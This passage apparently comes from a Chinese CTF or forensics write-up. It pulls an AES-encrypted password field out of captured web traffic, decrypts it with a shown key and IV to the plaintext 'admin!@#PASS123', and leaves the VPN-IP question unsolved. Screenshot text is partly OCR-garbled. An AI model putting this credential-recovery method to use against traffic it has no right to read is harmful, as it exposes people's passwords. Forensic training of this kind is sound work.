00d0 61 67 65 3d 30 0d 0a 4f 72 69 67 69 6e 3a 20 68 age=0··O rigin: h		
00e0 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 33 32 ttp://19 2.168.32		
00f0 2e 31 38 37 0d 0a 55 70 67 72 61 64 65 2d 49 6e .187. Up grade-In		
10100 /3 65 63 /5 /2 65 2d 52 65 /1 /5 65 73 74 73 3a secure-R equests:		CSDN @Jakrnv.G
💗 🗹 mailtvol. posp	分组: 189092 · 已显示: 8 (0.0%)	1 Defailt

从上图可以看到有一个字段的信息是 Form item: "password" = "+ZgE14UGcFcyRGLI0/ZXPQ==",那么这字段包含的就是我们所 需要的密码。

拿到密码后,我们就进行最后一步,进行密码解密。

AES加密模式: (CBC V 填充: zeropaddir	ng 💙 数据块: 128位 🗸	密码: d959caadac9b1	3dcb3e 偏移量: 123	34567812345678	输出: base64 ✔	字符集:	gb2312编码(简体)	~	
+ZgE14UGcFcyF	GLIO/ZXPQ=									
↑ 将你电脑文件	直接拖入试试^-^				AES加密	AES解密				
AES加密、解密转扬	换结果(base64了): ြ ¥ ₽									
admin!@#PASS1	.23									
L										CSDN @Johnny.G

通过上图看到,经过解密之后得到密码: admin!@#PASS123。

11、黑客获得的VPN的IP

不太会~~~ (后续会了会更新)